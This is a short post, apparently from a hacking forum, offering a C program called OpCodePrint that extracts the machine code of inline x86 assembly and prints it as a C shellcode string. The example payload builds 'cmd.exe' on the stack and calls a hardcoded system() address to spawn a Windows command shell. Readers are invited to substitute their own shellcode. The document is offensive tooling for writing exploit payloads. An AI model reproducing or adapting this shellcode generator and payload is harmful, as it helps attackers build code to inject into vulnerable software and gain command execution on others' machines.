I made this to easily get a shellcode in hexa format having its ASM code. The example shellcode is a system("cmd"). Change code in __asm(...) (leave those nops at the beginning and the end) with your own shellcode.
// OpCodePrint
// By ca0s
#include <stdio.h>
//#include <windows.h>
void shellcode(void)
{
__asm(
// Don't remove this NOP
"nop;"
//
//
"push %ebp;"
"mov %esp, %ebp;"
"xor %edi, %edi;"
"push %edi;"
//
//".byte 0xEB;"
//".byte 0x01;"
//".byte 0x83;"
//
"sub $0x04, %esp;"
"movb $0x63, -8(%ebp);" //c
"movb $0x6D, -7(%ebp);" //m
"movb $0x64, -6(%ebp);" //d
"movb $0x2E, -5(%ebp);" //.
"movb $0x65, -4(%ebp);" //e
"movb $0x78, -3(%ebp);" //x
"movb $0x65, -2(%ebp);" //e
"lea -8(%ebp), %eax;"
"push %eax;"
"movl $0x7573b16f, %ebx;"
"call *%ebx;"
//
// Don't remove this NOP
"nop;"
//
);
return;
}
int main(void)
{
//LoadLibrary("msvcrt.dll");
printf("\nOpCodePrint by Ca0s\n\nchar shellcode[]=\"");
int c=0;
char *dirScode=(char *)shellcode;
while((unsigned char)*dirScode != 0x90) dirScode++;
while((unsigned char)*(dirScode + (++c))!=0x90) printf("\\x%.2X", (unsigned char)*(dirScode + c));
printf("\";\n\nBytes: %d\n", (c-1));
//shellcode();
return;
}